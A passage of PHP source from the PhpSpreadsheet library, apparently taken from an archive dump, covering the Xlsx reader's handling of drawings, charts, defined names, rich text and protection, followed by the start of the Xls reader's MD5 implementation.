$twoCellAnchor->pic->spPr->children(Namespaces::DRAWINGML)->effectLst->outerShdw; $editAs = $twoCellAnchor->attributes(); if (isset($editAs, $editAs['editAs'])) { $objDrawing->setEditAs($editAs['editAs']); } $objDrawing->setName((string) self::getArrayItem(self::getAttributes($twoCellAnchor->pic->nvPicPr->cNvPr), 'name')); $objDrawing->setDescription((string) self::getArrayItem(self::getAttributes($twoCellAnchor->pic->nvPicPr->cNvPr), 'descr')); $embedImageKey = (string) self::getArrayItem( self::getAttributes($blip, $xmlNamespaceBase), 'embed' ); if (isset($images[$embedImageKey])) { $objDrawing->setPath( 'zip://' . File::realpath($filename) . '#' . $images[$embedImageKey], false ); } else { $linkImageKey = (string) self::getArrayItem( $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'), 'link' ); if (isset($images[$linkImageKey])) { $url = str_replace('xl/drawings/', '', $images[$linkImageKey]); $objDrawing->setPath($url); } } $objDrawing->setCoordinates(Coordinate::stringFromColumnIndex(((int) $twoCellAnchor->from->col) + 1) . ($twoCellAnchor->from->row + 1)); $objDrawing->setOffsetX(Drawing::EMUToPixels($twoCellAnchor->from->colOff)); $objDrawing->setOffsetY(Drawing::EMUToPixels($twoCellAnchor->from->rowOff)); $objDrawing->setCoordinates2(Coordinate::stringFromColumnIndex(((int) $twoCellAnchor->to->col) + 1) . ($twoCellAnchor->to->row + 1)); $objDrawing->setOffsetX2(Drawing::EMUToPixels($twoCellAnchor->to->colOff)); $objDrawing->setOffsetY2(Drawing::EMUToPixels($twoCellAnchor->to->rowOff)); $objDrawing->setResizeProportional(false); if ($xfrm) { $objDrawing->setWidth(Drawing::EMUToPixels(self::getArrayItem(self::getAttributes($xfrm->ext), 'cx'))); $objDrawing->setHeight(Drawing::EMUToPixels(self::getArrayItem(self::getAttributes($xfrm->ext), 'cy'))); $objDrawing->setRotation(Drawing::angleToDegrees(self::getArrayItem(self::getAttributes($xfrm), 'rot'))); $objDrawing->setFlipVertical((bool) self::getArrayItem(self::getAttributes($xfrm), 'flipV')); $objDrawing->setFlipHorizontal((bool) self::getArrayItem(self::getAttributes($xfrm), 'flipH')); } if ($outerShdw) { $shadow = $objDrawing->getShadow(); $shadow->setVisible(true); $shadow->setBlurRadius(Drawing::EMUToPixels(self::getArrayItem(self::getAttributes($outerShdw), 'blurRad'))); $shadow->setDistance(Drawing::EMUToPixels(self::getArrayItem(self::getAttributes($outerShdw), 'dist'))); $shadow->setDirection(Drawing::angleToDegrees(self::getArrayItem(self::getAttributes($outerShdw), 'dir'))); $shadow->setAlignment((string) self::getArrayItem(self::getAttributes($outerShdw), 'algn')); $clr = $outerShdw->srgbClr ?? $outerShdw->prstClr; $shadow->getColor()->setRGB(self::getArrayItem(self::getAttributes($clr), 'val')); $shadow->setAlpha(self::getArrayItem(self::getAttributes($clr->alpha), 'val') / 1000); } $this->readHyperLinkDrawing($objDrawing, $twoCellAnchor, $hyperlinks); $objDrawing->setWorksheet($docSheet); } elseif (($this->includeCharts) && ($twoCellAnchor->graphicFrame)) { $fromCoordinate = Coordinate::stringFromColumnIndex(((int) $twoCellAnchor->from->col) + 1) . ($twoCellAnchor->from->row + 1); $fromOffsetX = Drawing::EMUToPixels($twoCellAnchor->from->colOff); $fromOffsetY = Drawing::EMUToPixels($twoCellAnchor->from->rowOff); $toCoordinate = Coordinate::stringFromColumnIndex(((int) $twoCellAnchor->to->col) + 1) . ($twoCellAnchor->to->row + 1); $toOffsetX = Drawing::EMUToPixels($twoCellAnchor->to->colOff); $toOffsetY = Drawing::EMUToPixels($twoCellAnchor->to->rowOff); $graphic = $twoCellAnchor->graphicFrame->children(Namespaces::DRAWINGML)->graphic; /** @var SimpleXMLElement $chartRef */ $chartRef = $graphic->graphicData->children(Namespaces::CHART)->chart; $thisChart = (string) self::getAttributes($chartRef, $xmlNamespaceBase); $chartDetails[$docSheet->getTitle() . '!' . $thisChart] = [ 'fromCoordinate' => $fromCoordinate, 'fromOffsetX' => $fromOffsetX, 'fromOffsetY' => $fromOffsetY, 'toCoordinate' => $toCoordinate, 'toOffsetX' => $toOffsetX, 'toOffsetY' => $toOffsetY, 'worksheetTitle' => $docSheet->getTitle(), ]; } } } if ($xmlDrawingChildren->absoluteAnchor) { foreach ($xmlDrawingChildren->absoluteAnchor as $absoluteAnchor) { if (($this->includeCharts) && ($absoluteAnchor->graphicFrame)) { $graphic = $absoluteAnchor->graphicFrame->children(Namespaces::DRAWINGML)->graphic; /** @var SimpleXMLElement $chartRef */ $chartRef = $graphic->graphicData->children(Namespaces::CHART)->chart; $thisChart = (string) self::getAttributes($chartRef, $xmlNamespaceBase); $width = Drawing::EMUToPixels((int) self::getArrayItem(self::getAttributes($absoluteAnchor->ext), 'cx')[0]); $height = Drawing::EMUToPixels((int) self::getArrayItem(self::getAttributes($absoluteAnchor->ext), 'cy')[0]); $chartDetails[$docSheet->getTitle() . '!' . $thisChart] = [ 'fromCoordinate' => 'A1', 'fromOffsetX' => 0, 'fromOffsetY' => 0, 'width' => $width, 'height' => $height, 'worksheetTitle' => $docSheet->getTitle(), ]; } } } if (empty($relsDrawing) && $xmlDrawing->count() == 0) { // Save Drawing without rels and children as unparsed $unparsedDrawings[$drawingRelId] = $xmlDrawing->asXML(); } } // store original rId of drawing files $unparsedLoadedData['sheets'][$docSheet->getCodeName()]['drawingOriginalIds'] = []; foreach ($relsWorksheet->Relationship as $elex) { $ele = self::getAttributes($elex); if ((string) $ele['Type'] === "$xmlNamespaceBase/drawing") { $drawingRelId = (string) $ele['Id']; $unparsedLoadedData['sheets'][$docSheet->getCodeName()]['drawingOriginalIds'][(string) $ele['Target']] = $drawingRelId; if (isset($unparsedDrawings[$drawingRelId])) { $unparsedLoadedData['sheets'][$docSheet->getCodeName()]['Drawings'][$drawingRelId] = $unparsedDrawings[$drawingRelId]; } } } if ($xmlSheet->legacyDrawing && !$this->readDataOnly) { foreach ($xmlSheet->legacyDrawing as $drawing) { $drawingRelId = (string) self::getArrayItem(self::getAttributes($drawing, $xmlNamespaceBase), 'id'); if (isset($vmlDrawingContents[$drawingRelId])) { $unparsedLoadedData['sheets'][$docSheet->getCodeName()]['legacyDrawing'] = $vmlDrawingContents[$drawingRelId]; } } } // unparsed drawing AlternateContent $xmlAltDrawing = $this->loadZip((string) $fileDrawing, Namespaces::COMPATIBILITY); if ($xmlAltDrawing->AlternateContent) { foreach ($xmlAltDrawing->AlternateContent as $alternateContent) { $alternateContent = self::testSimpleXml($alternateContent); $unparsedLoadedData['sheets'][$docSheet->getCodeName()]['drawingAlternateContents'][] = $alternateContent->asXML(); } } } } $this->readFormControlProperties($excel, $dir, $fileWorksheet, $docSheet, $unparsedLoadedData); $this->readPrinterSettings($excel, $dir, $fileWorksheet, $docSheet, $unparsedLoadedData); // Loop through definedNames if ($xmlWorkbook->definedNames) { foreach ($xmlWorkbook->definedNames->definedName as $definedName) { // Extract range $extractedRange = (string) $definedName; if (($spos = strpos($extractedRange, '!')) !== false) { $extractedRange = substr($extractedRange, 0, $spos) . str_replace('$', '', substr($extractedRange, $spos)); } else { $extractedRange = str_replace('$', '', $extractedRange); } // Valid range? if ($extractedRange == '') { continue; } // Some definedNames are only applicable if we are on the same sheet... if ((string) $definedName['localSheetId'] != '' && (string) $definedName['localSheetId'] == $oldSheetId) { // Switch on type switch ((string) $definedName['name']) { case '_xlnm._FilterDatabase': if ((string) $definedName['hidden'] !== '1') { $extractedRange = explode(',', $extractedRange); foreach ($extractedRange as $range) { $autoFilterRange = $range; if (str_contains($autoFilterRange, ':')) { $docSheet->getAutoFilter()->setRange($autoFilterRange); } } } break; case '_xlnm.Print_Titles': // Split $extractedRange $extractedRange = explode(',', $extractedRange); // Set print titles foreach ($extractedRange as $range) { $matches = []; $range = str_replace('$', '', $range); // check for repeating columns, e g. 'A:A' or 'A:D' if (preg_match('/!?([A-Z]+)\:([A-Z]+)$/', $range, $matches)) { $docSheet->getPageSetup()->setColumnsToRepeatAtLeft([$matches[1], $matches[2]]); } elseif (preg_match('/!?(\d+)\:(\d+)$/', $range, $matches)) { // check for repeating rows, e.g. '1:1' or '1:5' $docSheet->getPageSetup()->setRowsToRepeatAtTop([$matches[1], $matches[2]]); } } break; case '_xlnm.Print_Area': $rangeSets = preg_split("/('?(?:.*?)'?(?:![A-Z0-9]+:[A-Z0-9]+)),?/", $extractedRange, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE) ?: []; $newRangeSets = []; foreach ($rangeSets as $rangeSet) { [, $rangeSet] = Worksheet::extractSheetTitle($rangeSet, true); if (empty($rangeSet)) { continue; } if (!str_contains($rangeSet, ':')) { $rangeSet = $rangeSet . ':' . $rangeSet; } $newRangeSets[] = str_replace('$', '', $rangeSet); } if (count($newRangeSets) > 0) { $docSheet->getPageSetup()->setPrintArea(implode(',', $newRangeSets)); } break; default: break; } } } } // Next sheet id ++$sheetId; } // Loop through definedNames if ($xmlWorkbook->definedNames) { foreach ($xmlWorkbook->definedNames->definedName as $definedName) { // Extract range $extractedRange = (string) $definedName; // Valid range? if ($extractedRange == '') { continue; } // Some definedNames are only applicable if we are on the same sheet... if ((string) $definedName['localSheetId'] != '') { // Local defined name // Switch on type switch ((string) $definedName['name']) { case '_xlnm._FilterDatabase': case '_xlnm.Print_Titles': case '_xlnm.Print_Area': break; default: if ($mapSheetId[(int) $definedName['localSheetId']] !== null) { $range = Worksheet::extractSheetTitle($extractedRange, true); $scope = $excel->getSheet($mapSheetId[(int) $definedName['localSheetId']]); if (str_contains((string) $definedName, '!')) { $range[0] = str_replace("''", "'", $range[0]); $range[0] = str_replace("'", '', $range[0]); if ($worksheet = $excel->getSheetByName($range[0])) { $excel->addDefinedName(DefinedName::createInstance((string) $definedName['name'], $worksheet, $extractedRange, true, $scope)); } else { $excel->addDefinedName(DefinedName::createInstance((string) $definedName['name'], $scope, $extractedRange, true, $scope)); } } else { $excel->addDefinedName(DefinedName::createInstance((string) $definedName['name'], $scope, $extractedRange, true)); } } break; } } elseif (!isset($definedName['localSheetId'])) { // "Global" definedNames $locatedSheet = null; if (str_contains((string) $definedName, '!')) { // Modify range, and extract the first worksheet reference // Need to split on a comma or a space if not in quotes, and extract the first part. $definedNameValueParts = preg_split("/[ ,](?=([^']*'[^']*')*[^']*$)/miuU", $extractedRange); if (is_array($definedNameValueParts)) { // Extract sheet name [$extractedSheetName] = Worksheet::extractSheetTitle((string) $definedNameValueParts[0], true); $extractedSheetName = trim((string) $extractedSheetName, "'"); // Locate sheet $locatedSheet = $excel->getSheetByName($extractedSheetName); } } if ($locatedSheet === null && !DefinedName::testIfFormula($extractedRange)) { $extractedRange = '#REF!'; } $excel->addDefinedName(DefinedName::createInstance((string) $definedName['name'], $locatedSheet, $extractedRange, false)); } } } } (new WorkbookView($excel))->viewSettings($xmlWorkbook, $mainNS, $mapSheetId, $this->readDataOnly); break; } } if (!$this->readDataOnly) { $contentTypes = $this->loadZip('[Content_Types].xml'); // Default content types foreach ($contentTypes->Default as $contentType) { switch ($contentType['ContentType']) { case 'application/vnd.openxmlformats-officedocument.spreadsheetml.printerSettings': $unparsedLoadedData['default_content_types'][(string) $contentType['Extension']] = (string) $contentType['ContentType']; break; } } // Override content types foreach ($contentTypes->Override as $contentType) { switch ($contentType['ContentType']) { case 'application/vnd.openxmlformats-officedocument.drawingml.chart+xml': if ($this->includeCharts) { $chartEntryRef = ltrim((string) $contentType['PartName'], '/'); $chartElements = $this->loadZip($chartEntryRef); $chartReader = new Chart($chartNS, $drawingNS); $objChart = $chartReader->readChart($chartElements, basename($chartEntryRef, '.xml')); if (isset($charts[$chartEntryRef])) { $chartPositionRef = $charts[$chartEntryRef]['sheet'] . '!' . $charts[$chartEntryRef]['id']; if (isset($chartDetails[$chartPositionRef]) && $excel->getSheetByName($charts[$chartEntryRef]['sheet']) !== null) { $excel->getSheetByName($charts[$chartEntryRef]['sheet'])->addChart($objChart); $objChart->setWorksheet($excel->getSheetByName($charts[$chartEntryRef]['sheet'])); // For oneCellAnchor or absoluteAnchor positioned charts, // toCoordinate is not in the data. Does it need to be calculated? if (array_key_exists('toCoordinate', $chartDetails[$chartPositionRef])) { // twoCellAnchor $objChart->setTopLeftPosition($chartDetails[$chartPositionRef]['fromCoordinate'], $chartDetails[$chartPositionRef]['fromOffsetX'], $chartDetails[$chartPositionRef]['fromOffsetY']); $objChart->setBottomRightPosition($chartDetails[$chartPositionRef]['toCoordinate'], $chartDetails[$chartPositionRef]['toOffsetX'], $chartDetails[$chartPositionRef]['toOffsetY']); } else { // oneCellAnchor or absoluteAnchor (e.g. Chart sheet) $objChart->setTopLeftPosition($chartDetails[$chartPositionRef]['fromCoordinate'], $chartDetails[$chartPositionRef]['fromOffsetX'], $chartDetails[$chartPositionRef]['fromOffsetY']); $objChart->setBottomRightPosition('', $chartDetails[$chartPositionRef]['width'], $chartDetails[$chartPositionRef]['height']); if (array_key_exists('oneCellAnchor', $chartDetails[$chartPositionRef])) { $objChart->setOneCellAnchor($chartDetails[$chartPositionRef]['oneCellAnchor']); } } } } } break; // unparsed case 'application/vnd.ms-excel.controlproperties+xml': $unparsedLoadedData['override_content_types'][(string) $contentType['PartName']] = (string) $contentType['ContentType']; break; } } } $excel->setUnparsedLoadedData($unparsedLoadedData); $zip->close(); return $excel; } private function parseRichText(?SimpleXMLElement $is): RichText { $value = new RichText(); if (isset($is->t)) { $value->createText(StringHelper::controlCharacterOOXML2PHP((string) $is->t)); } elseif ($is !== null) { if (is_object($is->r)) { /** @var SimpleXMLElement $run */ foreach ($is->r as $run) { if (!isset($run->rPr)) { $value->createText(StringHelper::controlCharacterOOXML2PHP((string) $run->t)); } else { $objText = $value->createTextRun(StringHelper::controlCharacterOOXML2PHP((string) $run->t)); $objFont = $objText->getFont() ?? new StyleFont(); if (isset($run->rPr->rFont)) { $attr = $run->rPr->rFont->attributes(); if (isset($attr['val'])) { $objFont->setName((string) $attr['val']); } } if (isset($run->rPr->sz)) { $attr = $run->rPr->sz->attributes(); if (isset($attr['val'])) { $objFont->setSize((float) $attr['val']); } } if (isset($run->rPr->color)) { $objFont->setColor(new Color($this->styleReader->readColor($run->rPr->color))); } if (isset($run->rPr->b)) { $attr = $run->rPr->b->attributes(); if ( (isset($attr['val']) && self::boolean((string) $attr['val'])) || (!isset($attr['val'])) ) { $objFont->setBold(true); } } if (isset($run->rPr->i)) { $attr = $run->rPr->i->attributes(); if ( (isset($attr['val']) && self::boolean((string) $attr['val'])) || (!isset($attr['val'])) ) { $objFont->setItalic(true); } } if (isset($run->rPr->vertAlign)) { $attr = $run->rPr->vertAlign->attributes(); if (isset($attr['val'])) { $vertAlign = strtolower((string) $attr['val']); if ($vertAlign == 'superscript') { $objFont->setSuperscript(true); } if ($vertAlign == 'subscript') { $objFont->setSubscript(true); } } } if (isset($run->rPr->u)) { $attr = $run->rPr->u->attributes(); if (!isset($attr['val'])) { $objFont->setUnderline(StyleFont::UNDERLINE_SINGLE); } else { $objFont->setUnderline((string) $attr['val']); } } if (isset($run->rPr->strike)) { $attr = $run->rPr->strike->attributes(); if ( (isset($attr['val']) && self::boolean((string) $attr['val'])) || (!isset($attr['val'])) ) { $objFont->setStrikethrough(true); } } } } } } return $value; } private function readRibbon(Spreadsheet $excel, string $customUITarget, ZipArchive $zip): void { $baseDir = dirname($customUITarget); $nameCustomUI = basename($customUITarget); // get the xml file (ribbon) $localRibbon = $this->getFromZipArchive($zip, $customUITarget); $customUIImagesNames = []; $customUIImagesBinaries = []; // something like customUI/_rels/customUI.xml.rels $pathRels = $baseDir . '/_rels/' . $nameCustomUI . '.rels'; $dataRels = $this->getFromZipArchive($zip, $pathRels); if ($dataRels) { // exists and not empty if the ribbon have some pictures (other than internal MSO) $UIRels = simplexml_load_string( $this->getSecurityScannerOrThrow()->scan($dataRels), 'SimpleXMLElement', Settings::getLibXmlLoaderOptions() ); if (false !== $UIRels) { // we need to save id and target to avoid parsing customUI.xml and "guess" if it's a pseudo callback who load the image foreach ($UIRels->Relationship as $ele) { if ((string) $ele['Type'] === Namespaces::SCHEMA_OFFICE_DOCUMENT . '/image') { // an image ? $customUIImagesNames[(string) $ele['Id']] = (string) $ele['Target']; $customUIImagesBinaries[(string) $ele['Target']] = $this->getFromZipArchive($zip, $baseDir . '/' . (string) $ele['Target']); } } } } if ($localRibbon) { $excel->setRibbonXMLData($customUITarget, $localRibbon); if (count($customUIImagesNames) > 0 && count($customUIImagesBinaries) > 0) { $excel->setRibbonBinObjects($customUIImagesNames, $customUIImagesBinaries); } else { $excel->setRibbonBinObjects(null, null); } } else { $excel->setRibbonXMLData(null, null); $excel->setRibbonBinObjects(null, null); } } private static function getArrayItem(null|array|bool|SimpleXMLElement $array, int|string $key = 0): mixed { return ($array === null || is_bool($array)) ? null : ($array[$key] ?? null); } private static function dirAdd(null|SimpleXMLElement|string $base, null|SimpleXMLElement|string $add): string { $base = (string) $base; $add = (string) $add; return (string) preg_replace('~[^/]+/\.\./~', '', dirname($base) . "/$add"); } private static function toCSSArray(string $style): array { $style = self::stripWhiteSpaceFromStyleString($style); $temp = explode(';', $style); $style = []; foreach ($temp as $item) { $item = explode(':', $item); if (str_contains($item[1], 'px')) { $item[1] = str_replace('px', '', $item[1]); } if (str_contains($item[1], 'pt')) { $item[1] = str_replace('pt', '', $item[1]); $item[1] = (string) Font::fontSizeToPixels((int) $item[1]); } if (str_contains($item[1], 'in')) { $item[1] = str_replace('in', '', $item[1]); $item[1] = (string) Font::inchSizeToPixels((int) $item[1]); } if (str_contains($item[1], 'cm')) { $item[1] = str_replace('cm', '', $item[1]); $item[1] = (string) Font::centimeterSizeToPixels((int) $item[1]); } $style[$item[0]] = $item[1]; } return $style; } public static function stripWhiteSpaceFromStyleString(string $string): string { return trim(str_replace(["\r", "\n", ' '], '', $string), ';'); } private static function boolean(string $value): bool { if (is_numeric($value)) { return (bool) $value; } return $value === 'true' || $value === 'TRUE'; } private function readHyperLinkDrawing(\PhpOffice\PhpSpreadsheet\Worksheet\Drawing $objDrawing, SimpleXMLElement $cellAnchor, array $hyperlinks): void { $hlinkClick = $cellAnchor->pic->nvPicPr->cNvPr->children(Namespaces::DRAWINGML)->hlinkClick; if ($hlinkClick->count() === 0) { return; } $hlinkId = (string) self::getAttributes($hlinkClick, Namespaces::SCHEMA_OFFICE_DOCUMENT)['id']; $hyperlink = new Hyperlink( $hyperlinks[$hlinkId], (string) self::getArrayItem(self::getAttributes($cellAnchor->pic->nvPicPr->cNvPr), 'name') ); $objDrawing->setHyperlink($hyperlink); } private function readProtection(Spreadsheet $excel, SimpleXMLElement $xmlWorkbook): void { if (!$xmlWorkbook->workbookProtection) { return; } $excel->getSecurity()->setLockRevision(self::getLockValue($xmlWorkbook->workbookProtection, 'lockRevision')); $excel->getSecurity()->setLockStructure(self::getLockValue($xmlWorkbook->workbookProtection, 'lockStructure')); $excel->getSecurity()->setLockWindows(self::getLockValue($xmlWorkbook->workbookProtection, 'lockWindows')); if ($xmlWorkbook->workbookProtection['revisionsPassword']) { $excel->getSecurity()->setRevisionsPassword( (string) $xmlWorkbook->workbookProtection['revisionsPassword'], true ); } if ($xmlWorkbook->workbookProtection['workbookPassword']) { $excel->getSecurity()->setWorkbookPassword( (string) $xmlWorkbook->workbookProtection['workbookPassword'], true ); } } private static function getLockValue(SimpleXMLElement $protection, string $key): ?bool { $returnValue = null; $protectKey = $protection[$key]; if (!empty($protectKey)) { $protectKey = (string) $protectKey; $returnValue = $protectKey !== 'false' && (bool) $protectKey; } return $returnValue; } private function readFormControlProperties(Spreadsheet $excel, string $dir, string $fileWorksheet, Worksheet $docSheet, array &$unparsedLoadedData): void { $zip = $this->zip; if ($zip->locateName(dirname("$dir/$fileWorksheet") . '/_rels/' . basename($fileWorksheet) . '.rels') === false) { return; } $filename = dirname("$dir/$fileWorksheet") . '/_rels/' . basename($fileWorksheet) . '.rels'; $relsWorksheet = $this->loadZipNoNamespace($filename, Namespaces::RELATIONSHIPS); $ctrlProps = []; foreach ($relsWorksheet->Relationship as $ele) { if ((string) $ele['Type'] === Namespaces::SCHEMA_OFFICE_DOCUMENT . '/ctrlProp') { $ctrlProps[(string) $ele['Id']] = $ele; } } $unparsedCtrlProps = &$unparsedLoadedData['sheets'][$docSheet->getCodeName()]['ctrlProps']; foreach ($ctrlProps as $rId => $ctrlProp) { $rId = substr($rId, 3); // rIdXXX $unparsedCtrlProps[$rId] = []; $unparsedCtrlProps[$rId]['filePath'] = self::dirAdd("$dir/$fileWorksheet", $ctrlProp['Target']); $unparsedCtrlProps[$rId]['relFilePath'] = (string) $ctrlProp['Target']; $unparsedCtrlProps[$rId]['content'] = $this->getSecurityScannerOrThrow()->scan($this->getFromZipArchive($zip, $unparsedCtrlProps[$rId]['filePath'])); } unset($unparsedCtrlProps); } private function readPrinterSettings(Spreadsheet $excel, string $dir, string $fileWorksheet, Worksheet $docSheet, array &$unparsedLoadedData): void { $zip = $this->zip; if ($zip->locateName(dirname("$dir/$fileWorksheet") . '/_rels/' . basename($fileWorksheet) . '.rels') === false) { return; } $filename = dirname("$dir/$fileWorksheet") . '/_rels/' . basename($fileWorksheet) . '.rels'; $relsWorksheet = $this->loadZipNoNamespace($filename, Namespaces::RELATIONSHIPS); $sheetPrinterSettings = []; foreach ($relsWorksheet->Relationship as $ele) { if ((string) $ele['Type'] === Namespaces::SCHEMA_OFFICE_DOCUMENT . '/printerSettings') { $sheetPrinterSettings[(string) $ele['Id']] = $ele; } } $unparsedPrinterSettings = &$unparsedLoadedData['sheets'][$docSheet->getCodeName()]['printerSettings']; foreach ($sheetPrinterSettings as $rId => $printerSettings) { $rId = substr($rId, 3); // rIdXXX if (!str_ends_with($rId, 'ps')) { $rId = $rId . 'ps'; // rIdXXX, add 'ps' suffix to avoid identical resource identifier collision with unparsed vmlDrawing } $unparsedPrinterSettings[$rId] = []; $target = (string) str_replace('/xl/', '../', (string) $printerSettings['Target']); $unparsedPrinterSettings[$rId]['filePath'] = self::dirAdd("$dir/$fileWorksheet", $target); $unparsedPrinterSettings[$rId]['relFilePath'] = $target; $unparsedPrinterSettings[$rId]['content'] = $this->getSecurityScannerOrThrow()->scan($this->getFromZipArchive($zip, $unparsedPrinterSettings[$rId]['filePath'])); } unset($unparsedPrinterSettings); } private function getWorkbookBaseName(): array { $workbookBasename = ''; $xmlNamespaceBase = ''; // check if it is an OOXML archive $rels = $this->loadZip(self::INITIAL_FILE); foreach ($rels->children(Namespaces::RELATIONSHIPS)->Relationship as $rel) { $rel = self::getAttributes($rel); $type = (string) $rel['Type']; switch ($type) { case Namespaces::OFFICE_DOCUMENT: case Namespaces::PURL_OFFICE_DOCUMENT: $basename = basename((string) $rel['Target']); $xmlNamespaceBase = dirname($type); if (preg_match('/workbook.*\.xml/', $basename)) { $workbookBasename = $basename; } break; } } return [$workbookBasename, $xmlNamespaceBase]; } private function readSheetProtection(Worksheet $docSheet, SimpleXMLElement $xmlSheet): void { if ($this->readDataOnly || !$xmlSheet->sheetProtection) { return; } $algorithmName = (string) $xmlSheet->sheetProtection['algorithmName']; $protection = $docSheet->getProtection(); $protection->setAlgorithm($algorithmName); if ($algorithmName) { $protection->setPassword((string) $xmlSheet->sheetProtection['hashValue'], true); $protection->setSalt((string) $xmlSheet->sheetProtection['saltValue']); $protection->setSpinCount((int) $xmlSheet->sheetProtection['spinCount']); } else { $protection->setPassword((string) $xmlSheet->sheetProtection['password'], true); } if ($xmlSheet->protectedRanges->protectedRange) { foreach ($xmlSheet->protectedRanges->protectedRange as $protectedRange) { $docSheet->protectCells((string) $protectedRange['sqref'], (string) $protectedRange['password'], true, (string) $protectedRange['name'], (string) $protectedRange['securityDescriptor']); } } } private function readAutoFilter( SimpleXMLElement $xmlSheet, Worksheet $docSheet ): void { if ($xmlSheet && $xmlSheet->autoFilter) { (new AutoFilter($docSheet, $xmlSheet))->load(); } } private function readBackgroundImage( SimpleXMLElement $xmlSheet, Worksheet $docSheet, string $relsName ): void { if ($xmlSheet && $xmlSheet->picture) { $id = (string) self::getArrayItem(self::getAttributes($xmlSheet->picture, Namespaces::SCHEMA_OFFICE_DOCUMENT), 'id'); $rels = $this->loadZip($relsName); foreach ($rels->Relationship as $rel) { $attrs = $rel->attributes() ?? []; $rid = (string) ($attrs['Id'] ?? ''); $target = (string) ($attrs['Target'] ?? ''); if ($rid === $id && substr($target, 0, 2) === '..') { $target = 'xl' . substr($target, 2); $content = $this->getFromZipArchive($this->zip, $target); $docSheet->setBackgroundImage($content); } } } } private function readTables( SimpleXMLElement $xmlSheet, Worksheet $docSheet, string $dir, string $fileWorksheet, ZipArchive $zip, string $namespaceTable ): void { if ($xmlSheet && $xmlSheet->tableParts) { $attributes = $xmlSheet->tableParts->attributes() ?? ['count' => 0]; if (((int) $attributes['count']) > 0) { $this->readTablesInTablesFile($xmlSheet, $dir, $fileWorksheet, $zip, $docSheet, $namespaceTable); } } } private function readTablesInTablesFile( SimpleXMLElement $xmlSheet, string $dir, string $fileWorksheet, ZipArchive $zip, Worksheet $docSheet, string $namespaceTable ): void { foreach ($xmlSheet->tableParts->tablePart as $tablePart) { $relation = self::getAttributes($tablePart, Namespaces::SCHEMA_OFFICE_DOCUMENT); $tablePartRel = (string) $relation['id']; $relationsFileName = dirname("$dir/$fileWorksheet") . '/_rels/' . basename($fileWorksheet) . '.rels'; if ($zip->locateName($relationsFileName) !== false) { $relsTableReferences = $this->loadZip($relationsFileName, Namespaces::RELATIONSHIPS); foreach ($relsTableReferences->Relationship as $relationship) { $relationshipAttributes = self::getAttributes($relationship, ''); if ((string) $relationshipAttributes['Id'] === $tablePartRel) { $relationshipFileName = (string) $relationshipAttributes['Target']; $relationshipFilePath = dirname("$dir/$fileWorksheet") . '/' . $relationshipFileName; $relationshipFilePath = File::realpath($relationshipFilePath); if ($this->fileExistsInArchive($this->zip, $relationshipFilePath)) { $tableXml = $this->loadZip($relationshipFilePath, $namespaceTable); (new TableReader($docSheet, $tableXml))->load(); } } } } } } private static function extractStyles(?SimpleXMLElement $sxml, string $node1, string $node2): array { $array = []; if ($sxml && $sxml->{$node1}->{$node2}) { foreach ($sxml->{$node1}->{$node2} as $node) { $array[] = $node; } } return $array; } private static function extractPalette(?SimpleXMLElement $sxml): array { $array = []; if ($sxml && $sxml->colors->indexedColors) { foreach ($sxml->colors->indexedColors->rgbColor as $node) { if ($node !== null) { $attr = $node->attributes(); if (isset($attr['rgb'])) { $array[] = (string) $attr['rgb']; } } } } return $array; } private function processIgnoredErrors(SimpleXMLElement $xml, Worksheet $sheet): void { $attributes = self::getAttributes($xml); $sqref = (string) ($attributes['sqref'] ?? ''); $numberStoredAsText = (string) ($attributes['numberStoredAsText'] ?? ''); $formula = (string) ($attributes['formula'] ?? ''); $twoDigitTextYear = (string) ($attributes['twoDigitTextYear'] ?? ''); $evalError = (string) ($attributes['evalError'] ?? ''); if (!empty($sqref)) { $explodedSqref = explode(' ', $sqref); $pattern1 = '/^([A-Z]{1,3})([0-9]{1,7})(:([A-Z]{1,3})([0-9]{1,7}))?$/'; foreach ($explodedSqref as $sqref1) { if (preg_match($pattern1, $sqref1, $matches) === 1) { $firstRow = $matches[2]; $firstCol = $matches[1]; if (array_key_exists(3, $matches)) { $lastCol = $matches[4]; $lastRow = $matches[5]; } else { $lastCol = $firstCol; $lastRow = $firstRow; } ++$lastCol; for ($row = $firstRow; $row <= $lastRow; ++$row) { for ($col = $firstCol; $col !== $lastCol; ++$col) { if ($numberStoredAsText === '1') { $sheet->getCell("$col$row")->getIgnoredErrors()->setNumberStoredAsText(true); } if ($formula === '1') { $sheet->getCell("$col$row")->getIgnoredErrors()->setFormula(true); } if ($twoDigitTextYear === '1') { $sheet->getCell("$col$row")->getIgnoredErrors()->setTwoDigitTextYear(true); } if ($evalError === '1') { $sheet->getCell("$col$row")->getIgnoredErrors()->setEvalError(true); } } } } } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls/MD5.php000064400000016424151676714400020324 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xls; class MD5 { private int $a; private int $b; private int $c; private int $d; private static int $allOneBits; /** * MD5 stream constructor. */ public function __construct() { self::$allOneBits = self::signedInt(0xFFFFFFFF); $this->reset(); } /** * Reset the MD5 stream context. */ public function reset(): void { $this->a = 0x67452301; $this->b = self::signedInt(0xEFCDAB89); $this->c = self::signedInt(0x98BADCFE); $this->d = 0x10325476; } /** * Get MD5 stream context. */ public function getContext(): string { $s = ''; foreach (['a', 'b', 'c', 'd'] as $i) { $v = $this->{$i}; $s .= chr($v & 0xFF); $s .= chr(($v >> 8) & 0xFF); $s .= chr(($v >> 16) & 0xFF); $s .= chr(($v >> 24) & 0xFF); } return $s; } /** * Add data to context. * * @param string $data Data to add */ public function add(string $data): void { // @phpstan-ignore-next-line $words = array_values(unpack('V16', $data)); $A = $this->a; $B = $this->b; $C = $this->c; $D = $this->d; $F = [self::class, 'f']; $G = [self::class, 'g']; $H = [self::class, 'h']; $I = [self::class, 'i']; // ROUND 1 self::step($F, $A, $B, $C, $D, $words[0], 7, 0xD76AA478); self::step($F, $D, $A, $B, $C, $words[1], 12, 0xE8C7B756); self::step($F, $C, $D, $A, $B, $words[2], 17, 0x242070DB); self::step($F, $B, $C, $D, $A, $words[3], 22, 0xC1BDCEEE); self::step($F, $A, $B, $C, $D, $words[4], 7, 0xF57C0FAF); self::step($F, $D, $A, $B, $C, $words[5], 12, 0x4787C62A); self::step($F, $C, $D, $A, $B, $words[6], 17, 0xA8304613); self::step($F, $B, $C, $D, $A, $words[7], 22, 0xFD469501); self::step($F, $A, $B, $C, $D, $words[8], 7, 0x698098D8); self::step($F, $D, $A, $B, $C, 